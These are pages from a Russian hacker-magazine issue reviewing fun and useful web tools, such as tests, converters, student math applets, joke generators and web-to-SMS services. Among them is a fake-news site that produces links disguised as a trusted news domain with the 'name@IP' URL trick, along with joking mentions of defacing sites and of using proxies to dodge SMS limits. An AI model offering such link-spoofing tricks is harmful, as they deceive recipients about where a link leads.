Меня всегда увлекали всякие тесты, в том числе и психологические. А как еще можно узнать о себе столько нового? А тут проходишь, тест и тебе говорит: ты - маньяк :). Все просто и понятно. Тестов там огромное количество, бери и проходи.

Сколько ты стоишь

http://www.humanforsale.com/

С помощью этого замечательно сайта ты сможешь узнать, сколько ты стоишь. Да, да, да! Ты можешь узнать свою цену и потом продать себя на каком-нибудь аукционе ;). Для этого достаточно ответить на несколько несложных вопросов о своем здоровье, наличии вредных привычек и т.д. После этого на твой почтовый ящик свалится письмо с твоей стоимостью. Смотри, не продешеви! Свою стоимость сосчитали уже и продали более миллиона человек.

Конвертер всего

http://www.valcompserv.com/conv/

Универсальный сайт, умеющий конвертировать все во все. Температуру из Цельсиев в Фаренгейты, километры в мили, дюймы в сантиметры, вес, объем и многое другое. Меня вот всегда бесит, когда в американских фильмах говорят что-то типа "до ближайшего города 10 миль". А я всю сознательную жизнь расстояние в километрах мерил. Быстренько лезу на сайт и узнаю, что 10 миль - это целых 16 километров!

Калькулятор зарплаты

http://www.zarplatomer.ru/

Замечательный сайт для тех, кто решил найти себе работу. На этом сайте есть небольшой тестик, с помощью которого ты сможешь примерно оценить, на какой уровень зарплаты ты можешь рассчитывать. В тесте учитываются все моменты, вплоть до твоих связей с влиятельными кругами. Кроме того, там достаточно много профессий, есть из чего выбрать. Только одно "но", для всех специальностей задаются одни и те же вопросы...


Спецвыпуск Xakep, номер #030, стр. 030-084-3, УМНЫЕ ТУЛЗЫ - мозги в вебе

УМНЫЕ ТУЛЗЫ - мозги в вебе

MOOF

Спецвыпуск Xakep, номер #030, стр. 030-084-3

Узнаю свою скорость Интернета

http://realspeed.co.kz/

Сайт для определения твоей реальной скорости подключения к Интернету. Твой провайдер говорит о 100 Мбитах? Не верь ему! :). Зайди на сайт и все лучше посмотри сам. Скорость вычисляется следующим образом: на твой компьютер посылается небольшое количество данных с сервера, после чего определяется скорость, с которой эти данные до тебя дошли. Вводится даже небольшая шкала с показателями твоей скорости. Моя скорость подключения не дотянула даже до обычного модема: скорость канала 9.39 Kbps, скорость загрузки на компьютер (cps): 1.17 Kbytes/sec. Такая вот грустная история. Конечно, этот метод определения скорости не очень точный, поскольку сервер стоит далеко и пока информация от сервера к тебе может идти разными путями. Но для грубых тестов вполне пойдет.

Генератор текста

http://www.yandex.ru/vesna.html

Все знают поисковик Яндекс. Но мало кто знает, что он умеет философствовать. По этому адресу ты можешь ознакомиться с потрясающими философскими размышлениями, которые выдает Яндекс. Вот цитата: "Созерцание, как принято считать, принимает во внимание неоднозначный принцип восприятия. Отношение к современности профанирует типичный постмодернизм. Смысл жизни индуктивно подчеркивает примитивный мир." И все в таком духе :). Тебе может показаться, что эта штука абсолютно бесполезная, однако если надо заполнить страницу-другую умным текстом, то "весна" от Яндекса окажется очень кстати.

ICQ-робот

ICQ: 33221233 и 167510139

Это не совсем ссылка, скорее даже совсем не ссылка. ICQ робот! Даже целых две штуки. Добавь номер 33221233 в свой контакт лист и начни беседу. К сожалению, робот часто бывает недоступен, но когда он в он-лайне, с ним прикольно поговорить. Второй робот 167510139 занимается тем, что переводит с английского на русский. У него даже ник специальный "Eng-Rus Perevodchik". Работает очень просто: посылаешь ему слово на буржуйском, он присылает тебе его перевод. Крайне полезная вещь, когда много сидишь в он-лайне.

Архив Интернета

http://www.archive.org/

Недавно в Интернете? Хочешь посмотреть, как выглядел сайт твоего любимого журнала несколько лет назад? Нет ничего проще. Идем на сайт архива Интернета и видим сайт таким, каким он сохранился в архиве. Я с трудом себе представляю, сколько терабайт информации должны хранить сервера, чтобы постоянно архивировать весь Интернет. К сожалению, похоже, с сохранением картинок у архива некоторые проблемы. :( Вот тебе прямая ссылка на самую старую копию сайта журнала: http://www.xakep.ru/." target="_top">http://web.archive.org/web/19990117013407/http://www.xakep.ru/.

Подделай новость

http://www.fakednews.com/

Сайт для подделывания новостей известный сетевых СМИ, таких как CNN, MTV и т.д. Ты выбираешь сайт, новость которого хочешь подделать, сочиняешь саму новость. Из серии: "ФБР вышло за твоим Васей Пупкиным". Сервер генерирует тебе фейковый адрес странички с новостью, которую ты потом можешь отправлять Васе. Ссылки получаются реалистичными, например такими: http://www.mtv.com:443@212.190.116.226/news.php?SeZyMk3g.


Спецвыпуск Xakep, номер #030, стр. 030-084-4, УМНЫЕ ТУЛЗЫ - мозги в вебе

УМНЫЕ ТУЛЗЫ - мозги в вебе

MOOF

Спецвыпуск Xakep, номер #030, стр. 030-084-4

Картинка > текст

http://www.text-image.com/

На этом сайте ты сможешь перевести любую картинку в текст. Все очень просто - ты оправляешь картинку, это может быть твоя фотка или что-то другое, на сайт, и через несколько секунд он выдает тебе ту же самую картинку, но составленную из цифр, букв и других символов. При этом она, конечно, раскрашивается и издалека вполне может сойти за четкую картинку. В зависимости от сложности картинки могут обрабатываться до нескольких минут. Мою фотографию 100 на 100 пикселей он мурыжил целых 2 минуты, а логотип Хакера перегнал за одну секунду.

Азбука Морзе

http://entries.the5k.org/584/index.html

Сайт, на котором можно перевести текст в азбуку Морзе и обратно. Жаль, что сайт на английском и русский не понимает. Применений может быть масса. Например, ты дефейснул сайт, это же некрасиво писать обычный текст, напиши свое послание азбукой Морзе. Тебя сразу запомнят :). И помни: "-..-/.-/-.-/./.--.//.../.--././--..//.-./..-/.-.././--../--../--../" :).

Вот и все умные и не очень тулзы, которые пришлись мне по душе. Если у тебя есть дополнения - пиши, посмотрим :).


Спецвыпуск Xakep, номер #030, стр. 030-088-1, УНИВЕРСАЛЬНАЯ ПАГА СТУДЕНТА - обзор необходимых тулзов в инете

УНИВЕРСАЛЬНАЯ ПАГА СТУДЕНТА - обзор необходимых тулзов в инете

Андрей Каролик

Спецвыпуск Xakep, номер #030, стр. 030-088-1

(andrusha@sl.ru)

Практически в любом уважающем себя техническом ВУЗе есть инет, а вот необходимых тулзов, бывает, под рукой просто нет. В этом случае непринужденно дыбаешь где-нибудь в инете исходники необходимых скриптов и сваливаешь их на свою пагу для дальнейшего плодотворного юзанья. Вот о том, где и что надыбать, я тебе сейчас и поведаю. Заодно научу, как содрать форму, если скрипт выкачать нельзя. Глотни пивка и вникай.

ТЫРИМ ИСХОДНИК

Если какая-то тулза представляет собой ява-скрипт или ява-апплет, утаскивай без особых проблем. Для этого полезай в html-код вражеской паги и ищи ссылки на искомые скрипты или апплеты. Ява-скрипты прописываются между тегами <script> и </script>, а ява-апплеты - между тегами <applet> и </applet>. Зная адрес к исходному коду, запускай прогу типа GetRight и выкачивай его к чертовой бабушке. Потом выкладывай, куда удобнее, и прописывай к ним пути, чтобы все работало.

ТЫРИМ ФОРМУ

Сложнее, если это форма, которая ссылается на какой-нибудь cgi-скрипт. Тогда выкачать не выйдет, но можно сослаться к этому скрипту по абсолютному адресу, содрав саму форму. Поясню на примере описанного скрипта для вычисления интегралов (http://integrals.wolfram.com/index.en.cgi). Если выкинуть все лишнее, то форма там такая:

<form action="/index.en.cgi" method="post">

<input type="hidden" name="format" value="StandardForm">

<input type="hidden" name="FontSize" value="Medium">

:: skip ::

<table border="0"><tr><td><img src="images/integral.gif" width="10" height="36"></td>

<td valign="middle"><input type="text" name="expr" size="30" value="E^(a x) Sin[b x]"></td>

<td><input type="image" src="images/dx.gif" border="0" width="14" height="18"></td></tr></table>

:: skip ::

</form>

Передираешь этот код, заменив относительную ссылку action="/index.en.cgi" на абсолютную action="http://integrals.wolfram.com/index.en.cgi". Плюс выкачай картинки integral.gif и dx.gif, которые лежат в http://integrals.wolfram.com/images. Для полной девственности поставь value="" вместо value="E^(a x) Sin[b x]". Теперь выставляй эту форму на своей паге и пользуйся на здоровье. Остальные формы дерутся аналогично.

УРЛ: http://nickciske.com/tools/binary.php

ОПИСАЛОВО:

Реактивный перекодировщик из ASCII в бинарник и наоборот. Не знаю, пригодится ли тебе это дело на информатике, но можно элементарно переписываться на всех остальных предметах и не волноваться о том, что преподы расшифруют вашу тайную переписку. Приятно, что закодированный в бинарный код русский язык после декодирования остается русским :).

УРЛ: http://www.analogdevices.ru/Analog_Root/sitePage/direct/interactiveDesignTools/

ОПИСАЛОВО:

Если у тебя есть предметы, связанные с электроникой, то этот ресурс будет отличной кислородной подпиткой. Тут валяется неимоверное количество схем элементов Analog Devices: всякие усилители, драйверы, источники напряжения и тока, контроллеры, АЦП, ЦАП и т.д. Подобное богатство есть, конечно, и в специальных справочниках. Но тут изюминка в том, что описание и схемы снабжаются апплетами, которые позволяют в реальном времени менять параметры схем. Подумать только, ты можешь в считанные секунды обсчитать любую приведенную схему и разобраться в принципе работы любого сложного регистра. Если же вдруг, меняя параметры, достигнешь критических значений напряжения или тока, тебе заботливо об этом сообщат, но при этом ты ничего не сожжешь!


Спецвыпуск Xakep, номер #030, стр. 030-088-2, УНИВЕРСАЛЬНАЯ ПАГА СТУДЕНТА - обзор необходимых тулзов в инете

УНИВЕРСАЛЬНАЯ ПАГА СТУДЕНТА - обзор необходимых тулзов в инете

Андрей Каролик

Спецвыпуск Xakep, номер #030, стр. 030-088-2

УРЛ: http://gauss.h1.ru

ОПИСАЛОВО:

Нужно решить систему линейных уравнений матричным способом по методу Гаусса? Да нет проблем. Заходишь, вводишь элементы матрицы и ехидно жмешь на "Решить". Не успеешь открыть рот, тебе и решение выдаст, и промежуточные преобразования матрицы, а то еще подумают, что ты где-то списал ответ :).

УРЛ: http://javaboutique.internet.com/Chemis3D

ОПИСАЛОВО:

Мечта химиков. Апплет позволяет покрутить молекулу а-ля 3D (данные берет из форматов *.xyz, *.mol, *.pdb). С помощью дополнительных настроек меняется отображение и легко рассчитываются нужные расстояния и углы между узловыми атомами. Есть автовращение, поставил и медитируй :).

УРЛ: http://javaboutique.internet.com/GraphApplet

ОПИСАЛОВО:

Удачный симбиоз навороченного калькулятора и координатной оси для наглядного построения графиков. Вводишь функцию любой сложности, зависящую от двух переменных, потом задаешь диапазон изменения переменных - график готов. С помощью курсора мышки ты можешь посмотреть координаты любой точки на графике. Есть масштабируемость, две ячейки памяти, округление и незаменимый сброс :). Функции вводить можно как ручками, так и с помощью задающих их кнопочек.

УРЛ: http://javaboutique.internet.com/PGC

ОПИСАЛОВО:

Идеальная фича для решения небольших систем уравнений графически. График строится как на обычной (читай декартовой), так и на комплексной системе координат. На одном графике уживаются, держись за стул, до шести (!) разных функций одновременно, зависящих максимум от пяти (!) переменных. Кроме этого, функции можно выражать друг через друга. Для одной переменной можно выставить диапазон изменения либо задать ее параметрически. У остальных подобного диапазона нет, но любую переменную можно менять, таская мышкой по координатной плоскости, что очень удобно и наглядно. Есть возможность циклического изменения любой переменной с одновременной анимацией всех изменений. В сводной табличке постоянно отображаются текущие значения всех переменных и функций. Есть удобный масштабирующий инструмент. И наконец, к апплету прилагается исчерпывающее описание всех возможностей и поддерживаемых стандартных функций.

УРЛ: http://integrals.wolfram.com/index.en.cgi

ОПИСАЛОВО:

Вычисление неопределенных (читай - без пределов интегрирования) интегралов он-лайн. Это просто бесценный ресурс, теперь сделать типовик по интегралам, как два пальца облизать :). Минус только в одном - не даются промежуточные выкладки.

УРЛ: http://www.lightlink.com/sergey/java/index.html

ОПИСАЛОВО:

Тут лежат 23 обучающих апплета по оптике, электротехнике и физике. Чего тут только нет: наглядное представление закона Киргофа, понятие фокусного расстояния, преломление в призме и много всякой всячины. Смотри сам.


Спецвыпуск Xakep, номер #030, стр. 030-088-3, УНИВЕРСАЛЬНАЯ ПАГА СТУДЕНТА - обзор необходимых тулзов в инете

УНИВЕРСАЛЬНАЯ ПАГА СТУДЕНТА - обзор необходимых тулзов в инете

Андрей Каролик

Спецвыпуск Xakep, номер #030, стр. 030-088-3

УРЛ: http://www.chemistry.ru/applets/ptable.html

ОПИСАЛОВО:

Вот она, родная периодическая таблица элементов Менделеева. Тут тебе отображение элементов по группам, по металлическим свойствам или по электроотрицательности. Жмешь на любом элементе и получаешь подробную характеристику: обозначение, атомная масса, электроотрицательность, температура кипения и плавления, плотность и другие свойства.

УРЛ: http://www.falstad.com/mathphysics.html

ОПИСАЛОВО:

Очередная сборная солянка из 32 обучающих апплетов на разные темы: волны и колебания, акустика, электростатика и магнетизм, электродинамика, квантовая механика, линейная алгебра, термодинамика и прочая бяка.

УРЛ: http://www.processassociates.com/process/convert/cf_all.htm

ОПИСАЛОВО:

И уж совсем никуда не денешься без конвертора разных единиц измерения. Тут их целых 50 (!). Выбирай и пересчитывай.

НАПОСЛЕДОК

В инете практически нет универсальных скриптов, с помощью которых можно было бы перерешать все на свете. Связано это прежде всего с существованием мощных математических пакетов типа Mathcad, Mathlab и т.п. То есть зачем ковырять землю вилкой, если есть лопата. Но они, к сожалению, не позволяют использовать свои ресурсы он-лайн. И вторая проблема - у ява-скриптов, ява-апплетов и cgi-скриптов очень слабая поддержка сложных математических исчислений. Для вычисления того же простенького интеграла придется ручками писать разложение в ряд, а энтузиастов, понятное дело, нет :).


Спецвыпуск Xakep, номер #030, стр. 030-090-1, ПРИКОЛЬНЫЕ ТУЛЗЫ - чем развлечь себя в Сети

ПРИКОЛЬНЫЕ ТУЛЗЫ - чем развлечь себя в Сети

matt gophph (matt@nm.ru)

Спецвыпуск Xakep, номер #030, стр. 030-090-1

MOOF (moof@real.xakep.ru; http://moof.ru)

Как известно, Сеть всегда была скопищем не только полезной инфы, но и разнообразных развлечений. Читать анекдоты и истории в Сети это конечно, прикольно, но намного прикольней услышать их от друзей. Картинки смотреть - тоже хорошо, но кушает траффик немерено :(. Поэтому наш вердикт таков - истинный хумор Сети - это ее прикольные тулзы, о которых мы тебе и расскажем.

C.Y.B.O.R.G.

http://www.brunching.com/cyborger.html

Эта фишка на тот случай, если тебя задолбали всякие попсовые обитатели чатов своими тупыми вопросами типа "а откуда у тебя такой ник?" Теперь вместо того чтобы объяснять, что он родился вследствие свободного падения опустошенной бутылки пива на клаву, можешь рулить сюда и сам спрашивать: "А откуда он, епрст, у меня?". C.Y.B.O.R.G. смело расшифрует его так, как будто ты киборг со скверным характером. В общем, получилось такая суровая действительность:

Matt - Mechanical Android Trained for Troubleshooting

Moof - Machine Optimized for Observation and Fighting

Русскоязычный аналог здесь: http://www.korova.ru/humor/cyborg.php

Генератор имен хоббитов и эльфов

http://www.chriswetherell.com/hobbit/

Загоняешься по Толкиену и до сих пор не придумал себе ник? Тогда тебе сюда. Просто вводи свои ФИ (только не перепутай: девочки - налево, мальчики - направо) и получай хоббитское имя. Из Matt'a вышел, например, Wilibald Danderfluff of Willowbottom.

Тебя больше прут "Звездные войны", тогда тебе нужен Star Wars Name Maker:

http://www.fishdot.org/starwars/namemaker.html

Японизатор имен

http://www.urban75.com/Mag/jap.html

Чтобы японизировать свою погремуху, просто вводи ник (имя-фамилию) и смотри диагноз. Matt, например, в jp-стиле оказался Matsutsu, а X - Zakepu. Так что можешь теперь называть нас не Х, а Z :).

Fantasy Military Unit Generator

http://www.seventhsanctum.com/gens/fantasyunit.php

Хочешь военно-фэнтэзи-нереальный ник? Давай сюда! Выбираешь количество и вид юнитов (читай "ников") для генерации. Видов хватает - порядка 150 штук: Cavalry - Underground, Race - Trolls - Infantry - Underground, Environment - Ground etc. Жми "Generate" и получай: Spelunking Wreckers, Patrolling Wingers или Dragon Whirlwinds. Кроме собственно названия юнита тебе в нагрузку дадут его краткие ТТХ и предназначение.

Часы смерти

http://www.deathclock.com

Кукушки - тупые птицы, линия жизни - песня "Сплина". Как же тогда узнать день твоего отбытия? Вводи дату рождения, пол и тип прогноза: нормальный, оптимистический, пессимистический или садистский. Жми единственный батон и с ужасом жди, пока наконец-то загрузится дата твоей смерти :-Е. Что, слишком долго жить осталось? Тогда поставь садистский тип прогноза - он еще лет 60 сбросит. Не веришь во весь этот бред? Ну, как знаешь. Только эти часы делают прогноз исходя из средней продолжительности жизни. Так что лучше готовься...

Генератор мата он-лайн

http://rusf.ru/books/analysis

Ну, наконец-то добрались! Иногда, во время дебатирования с каким-нибудь перцем в чате/аське/ирке, твои руки и клава не успевают за переполняющими мозг чувствами. А высказаться-то все равно надо! Не парься! Заходишь на генератор матов, а дальше просто. m1:"Сгенерировать", ctrl+c, alt+tab, ctrl+v, alt+tab, jmp m1...


Спецвыпуск Xakep, номер #030, стр. 030-090-2, ПРИКОЛЬНЫЕ ТУЛЗЫ - чем развлечь себя в Сети

ПРИКОЛЬНЫЕ ТУЛЗЫ - чем развлечь себя в Сети

matt gophph (matt@nm.ru)

Спецвыпуск Xakep, номер #030, стр. 030-090-2

Генератор ругательств (http://www.erolit.ru/damn) умеет вписывать в ругательства ФИО жертвы.

Рисовалка карикатур

http://www.magixl.com/heads/comho.htm

Это настоящая он-лайновая рисовалка карикатур, которая не требует от тебя ни грамма творческих способностей. Единственное, что тебе пригодится, - фотография другана или препода. Все просто: по центру собственно холст, по бокам - варианты черт лица. Можно изменять: skull - прическа, eyebrow - брови, eye - глаза, teample - уши, jaws - челюсть, mouth - рот, chin - подбородок. Просто по порядку перебираешь уши, носы, глаза и хаеры и подгоняешь это все под интерфейс жертвы.

Стихотворения галлюциноgennые

http://genn.org/stuff/stixs

Сказал кому-то, что пишешь стихотворения, и тебя попросили принести сборник? Да, ты попал! Но не расстраивайся. Заходи на http://genn.org/stuff/stixs и генерируй, сколько душа пожелает.

Бодун. Индивидуальный расчет количества спиртного

http://bodun2.narod.ru

http://www.korova.ru/humor/bodun.php

Если на всех попойках тебя до сих пор бросает из крайности в крайность (я имею ввиду действие алкоголя), то пора тебе наконец-то определиться со своей нормой. А можешь каждый раз (обстоятельства ведь меняются!) рассчитывать ее снова. Двигай на http://bodun2.narod.ru и выбирай: крепость напитка (от легкого четырехоборотного пива до чистого медицинского спирта), возраст, вес, пол, будешь ли догоняться пивом, часто ли бывает бодун, где будешь пить (дома/на природе), уровень мастерства и какова, собственно, цель употребления спиртных напитков (не бойся, это не для милиции и не для таможни). А он тебе... Ба-бах! Ваша норма 438 граммов. И печать.

Wowwi АлкоМЕТР

http://www.wowwi.orc.ru/advise/index.html

Это тулза поможет тебе выяснить содержание крови в твоем спирте после вчерашней пьянки.

Acronymer

http://www.brunching.com/acronymer.html

Подходит к тебе пышногрудая блондинка и, хлопая глазками, спрашивает: "А как переписать адресную книгу с мобилы на утюг?". Дабы не упасть в г... грязь лицом, ты быстро и уверено отвечаешь: "А, нужен JPTDX-кабель!". Теперь, борясь с эрекцией, надо быстро узнать, что, собственно, такое "jptdx" - а вдруг спросит! Именно этим, расшифровкой всякого компьютерного бреда, занимается дальний родственник к.и.б.о.р.г.'а - Acronymer. Вводишь ему "jptdx", а он тебе - Joint Program Double Technology eXtension. Все, теперь со спокойной душой можно отвязать от ноги свой девайс ;).

Внеочередные юбилеи

http://www.timeanddate.com/date/birthday.html

До сих пор думаешь, что день рождения только раз в году? Да, крокодил Гена тебя развел! Вводи свои дату и время рождения и смотри, как, оказывается, много поводов выпить! 18, 20 и 50 лет ты, конечно, сам можешь посчитать. А 1000000000 секунд, например? Или 350000 часов? Вот этим и займется данный скрипт. И даже выдаст тебе ближайший из секундных, минутных и часовых юбилеев!


Спецвыпуск Xakep, номер #030, стр. 030-090-3, ПРИКОЛЬНЫЕ ТУЛЗЫ - чем развлечь себя в Сети

ПРИКОЛЬНЫЕ ТУЛЗЫ - чем развлечь себя в Сети

matt gophph (matt@nm.ru)

Спецвыпуск Xakep, номер #030, стр. 030-090-3

Оракул

http://oracle.citylove.org/index.php

Ты выбрал себе ник? Думаешь, он очень крутой? Давай проверим. Специально для этих целей и был создан Оракул, рассказывающий всю правду о тебе или о твоем друге - по имени. Достаточно ввести ник, и, сверившись с книгой таинств, Оракул выдаст тебе результат. По своей сути Оракул злой получился. Так что если не хочешь портить себе настроение, не спрашивай у Оракула про себя, спроси лучше про своих друзей и знакомых, будет над чем посмеяться.

Какой ты покемон

http://pokemon.step.lv/

Пика! Пика! Пика-Чу!! Да, мода на покемонов не угасает, а разгорается с новой силой. Вводи скорее свой ник и получай своего покемона. На момент написания статьи уже почти 300 тысяч человек сделали ЭТО. Узнай и ты! А я, как обычно, оказался каким-то голубым динозавром с украшением в центре лба...

Твое имя в иероглифах

http://www.iwama.ru/jpname.htm

http://www.mandarintools.com/chinesename.html

Продолжаем мусолить твой ник. На этот раз переведем его на японский и китайский языки. Все, конечно, здорово, но когда будешь перерисовывать то, что получилось, на бумагу, чтобы сделать к лету модное тату на плече, не ошибись в палочках. А то вдруг вместо имени получиться: "Я тупая белая обезьяна, которая даже не знает, что на ней написано"...

Если же японская тема тебя не вставляет, напиши свой ник на папирусе: http://www.arab.ru/promo/hieroglyphs.shtml

Генератор слоганов

http://www.thesurrealist.co.uk/slogan.cgi

А если ты решил заняться селф промоушеном, то есть раскруткой самого себя, тебе не обойтись без запоминающегося слогана. Специально для этих целей существует сайт, который содержит более 500 готовых рекламных слоганов, в которых только и не хватает твоего ника. Вводим ник и получаем слоган: "Get Serious. Get Xakep". Кратко и со вкусом.

Ремейк на русском здесь: http://abstrukt.com/slog.shtml. "Хакер! Теперь банановый!" :)).

Ник афганского террориста

http://www.geocities.com/sharesdjc/

Тебе не нужно имя террика? А как же "Контра"?! Имена получаются прикольные и совсем не страшные. Andrew MOOF был назван Mustafa Kalashnikov, а Matt Goff - Misukin Alah Offen.

Erotic Name

http://www.petardas.com/pornonombre/index.php

А эта ссылка не для маленьких. Вводишь свой ник, и маленькие человечки на сервере быстренько составляют его из своих тел. Потом админ их фотографирует и отсылает фотку тебе в браузер :). Прикол в том, что человечки-то голые и все пытаются заняться какими-то непристойностями. Причем в экзотических позах. Просто акробаты какие-то!

Угадыватель мыслей

http://www.ak47.ru/mindreader.htm

http://mr-31238.mr.valuehost.co.uk/assets/Flash/psychic.swf

Компьютер, обладающий нехитрым устройством под названием модем и выходом в Интернет, даст фору любому фокуснику. На этой страничке есть таблица символов, каждому символу соответствует двухзначное число. От тебя требуется загадать любое число, и компьютер угадает символ, который соответствует этому числу. Если после просмотра сайта у тебя возникнет вопрос: "А как?!", то ответ прост: математику надо было учить в школе :).


Спецвыпуск Xakep, номер #030, стр. 030-090-4, ПРИКОЛЬНЫЕ ТУЛЗЫ - чем развлечь себя в Сети

ПРИКОЛЬНЫЕ ТУЛЗЫ - чем развлечь себя в Сети

matt gophph (matt@nm.ru)

Спецвыпуск Xakep, номер #030, стр. 030-090-4

Примерно тем же занимается угадыватель карт: http://www.mult.ee/games/swamigame.htm

Штрих-код

http://www.barcodeart.com/art/yourself/yourself.html

Тебе никогда не хотелось узнать, что зашифровано в штрих-коде? Меня, например, всегда интересовало значение логотипа студии Лебедева, который тоже сделан, как штрих-код. Эта тулза поможет справиться с задачей.

Интерактивный тест на беременность

http://www.farmo.ru/testindex.shtml

Вот такие штучки меня всегда развлекали. После загрузки страницы ты увидишь на экране квадрат, приложи руку к монитору и подожди некоторое время. Если квадрат станет красным, то... сюрприз! Ты скоро станешь мапой :)!

Автоматический улучшитель настроения

http://tts.lt/~madigor/good.htm

Если после новости о наступившей беременности у тебя испортилось настроение, срочно надо принимать меры. Для таких случаев существует автоматический улучшитель настроения. Вводишь свое имя, и глупая машина начинает тебя хвалить. Дурная вещица, но настроение реально поднимает :).

Тем же самым занимается электронный автопохвалитель: http://vad.spb.ru/www/xlam/AutoPraise.htm.

Достижения людей

http://www.museumofconceptualart.com/accomplished/index.html

На этом сайте ты сможешь узнать, чего добились известные люди, когда были в твоем возрасте. Например, в 20 лет греческий философ Платон стал учеником Сократа. А Билл Гейтс бросил Гарвард и основал Microsoft. Представляешь, если ты сейчас бросишь институт или школу... Основать ты явно ничего не успеешь, отправишься в армию :(. Жаль, что сайт на английском языке...

Сколько людей с твоим именем

http://www.yournotme.com/

Хочешь узнать, сколько народу живет в Великобритании с таким же именем, как у тебя? Тогда этот сайт специально для тебя. Тулза не нашла ни одного человека с именем Andrew MOOF. Однако заботливо спросила: не из секретной ли я службы и не враг ли я государства? Зато людей с именем James Bond оказалось целых 222 человека. А имя Bill Gates носят аж 2 представителя туманного Альбиона.

Кнопка для нажимания

http://knopka.ush.ru/index.htm

В свое время эта кнопка взбудоражила весь Интернет. Каждый день люди включали компьютеры и начинали нажимать, нажимать и нажимать на эту кнопку. Я так думаю, что ее создали производители мышей, чтобы заставлять покупать новые девайсы взамен обкликавшихся старых. Хотя автор утверждает, что кнопка - это "Метафизическая конструкция, предназначенная для осознания индивидом тщетности человеческих усилий, иллюзорности собственного существования и эфемерности всего сущего".

Worldometers

http://www.osearth.com/resources/worldometers/

Еще одна совершенно бесполезная вещица. Занимается тем, что измеряет всякие показатели на планете Земля. Ты можешь посмотреть, сколько народу сейчас живет (на момент написания было 6.292.980.427), сколько народу родилось и умерло за год и за день. А также сколько еды, энергии на планете и много других бесполезных показателей.

Тебя любят

http://www.fx-web.dk/fun/fun/love.asp?name=Xakep

http://www.vboogieman.com/boobies.php?text=Xakep

Я знаю, ты любишь тусить среди красивых девушек. С помощью этих ссылок ты можешь получить готовые фотографии, в которых полуобнаженные красотки признаются тебе в любви. Для этого достаточно лишь вписать свой ник в адрес, и ты получишь готовую картинку.


Спецвыпуск Xakep, номер #030, стр. 030-090-5, ПРИКОЛЬНЫЕ ТУЛЗЫ - чем развлечь себя в Сети

ПРИКОЛЬНЫЕ ТУЛЗЫ - чем развлечь себя в Сети

matt gophph (matt@nm.ru)

Спецвыпуск Xakep, номер #030, стр. 030-090-5

Сфотографируй себя on-line

http://mamadu.ru/photo.htm

Фотографии девушек - это, конечно, хорошо, но на этом сайте ты сможешь получить свою фотографию. Причем тебе не нужна никакая веб-камера! Этот проект основан на том, что секретная суперпрограмма сканирует экран, а затем обрабатывает полученные точки и формирует изображение того, что находится на расстоянии не более 60 см от экрана. Только не пугайся сильно.

Генератор сказок

http://dm.botik.ru/~madmax/tale

Под занавес нашего обзора я расскажу тебе одну сказку. Хотя нет, пусть лучше этим займется тот, кто лучше умеет - генератор русских ненародных сказок. Выбираешь главного героя, главного злодея, главного пострадавшего и сабж, из-за которого вся бодяга будет заварена. Кроме традиционных Иванушек-дурачков, Кощеев Бессмертных, молодильных яблок и деда с бабкой в наличии имеются маленькая девочка, граф Дракула, пекарня "дока-хлеб" и "мерс600". Сказка получается размером где-то с эту страницу! Иногда, правда, предложения не согласованы, но все остальное - зашибись! Бабушки отдыхают ;).

Дрочер

http://activate.ru/4you/weird_mastr.swf

Самое вкусное, как известно, оставляют напоследок. Десерт, так сказать. Смело вводи свой ник или ник любой знакомой девчонки и зови всю округу смотреть занимательный флеш-ролик. Человечку из ролика только и не хватало твоего имени для полноты ощущений. Ха-ха-ха! Это надо смотреть своими глазами...


Спецвыпуск Xakep, номер #030, стр. 030-094-1, WEB2SMS - отправлялки SMS в сети

WEB2SMS - отправлялки SMS в сети

SPIKE

Спецвыпуск Xakep, номер #030, стр. 030-094-1

(fallout@pisem.net)

Надеюсь, что ни для кого не надо объяснять, что такое sms. Например, в прошлом году в мире было послано всего-то 430 000 000 000 мессаг :). В последнее время сайтов в рунете, поддерживающих отправку смс, развелось просто туева хуча. Но большинство из них ничем не выделяется либо страдает из-за криворукости дизайнеров, мегабайт баннеров, тормознутости сайта или поддерживания одного оператора вроде "Деревня ПятиХатка GSM" (в обзор, естественно, все перечисленные не попали :)). Также в обзор не попали платные сайты.

НЕМНОГО ТЕОРИИ

SMS, или Short Messages Service (в переводе с буржуйского: Сервис Маленьких Сообщений), - услуга, предоставляемая операторами мобильной связи цифровых стандартов для передачи коротких текстовых сообщений. Смс по определению состоит максимум из 160 символов латинского алфавита (в кириллице в 2 раза меньше) и имеет определенный "срок жизни", до истечения которого оператор будет постоянно пытаться доставить его на место назначения. Все смс идут через SMSC (Short Messages Service Center), доступ к которому можно получить также через инет. "Протоколы" передачи смс, как все это взаимодействует с инетом, принципы организации мобильной связи можно описывать довольно долго, что выходит за рамки статьи.

ИСПОЛЬЗУЕМ

beeonline.ru

Портал Би-Лайна. Начнем с того, что это и так неплохой сайт. Всем абонентам Би-Лайна рекомендован для регулярного посещения. Можно скачать разные логотипы (в том числе и лого Ксакепа :), мелодии для телефона и поюзать прочие информационно-развлекательные услуги.

По адресу http://www.beeonline.ru/portal/comm/send_sms/simple_send_sms.sms находится сама форма для отправки sms. Мессаги долетают до телефона моментально (когда сервак или сеть не перегружены, как в новогоднюю ночь). Форма сделана довольно ладненько и удобно. Из отдельных бонусов можно отметить наличие записной книжки, отправки мессаг по псевдониму получателя, возможность ответа на телефон и е-мыл. Правда, для этих сладостей надо зарегиться, а для этого надо быть абонентом Би-Лайна. К минусам можно отнести то, что необходимо вводить код для отправки сообщения (думается, что после того, как ввели это нововведение, большинство сторонних сервисов перестало отправлять смс на Би-Лайн по понятным причинам) :(. Мессаги отправлять можно только на Би-Лайн (город, 901 и 903). И существует довольно много ограничений на количество мессаг.

Вообще, в Би-Лайне очень толково организовано взаимодействие смс и e-mail. Каждый абонент может получить бесплатный почтовый ящик для своего телефона и на него получать обычную почту (ограниченного размера). И с телефона можно отправлять почту по цене обычного смс. Чего-то я заболтался - пора переходить к МТС.

mts.ru

Страничка МТСа (кстати, дизайн к ней верстал сам Артемий Лебедев :). Такого разнообразия фишек, как у Би-Лайна, не наблюдается. Переходим сразу к отправке смс: http://www.mts.ru:8080/cgi-bin/cgi.exe?function=sms_send. Форма выглядит приятно и грузится быстро. Всего три поля: кому, текст сообщения, крайний срок отправки и кнопка "отправить". Ничего лишнего, но все-таки хочется большего. Мессаги долетают исправно и быстро. Присутствует автоматическая транслитерация. Можно отправлять только абонентам МТСа (город, 902, 910 и 916). На сайте сбоку упоминается, что, мол, можно отправлять смс и с мобильного телефона :). Опять-таки стоит ограничение на количество (не более 10 в день) и регулярность (не более 1 в минуту) отправляемых мессаг с одного IP (прокси никто не отменял :).


Спецвыпуск Xakep, номер #030, стр. 030-094-2, WEB2SMS - отправлялки SMS в сети
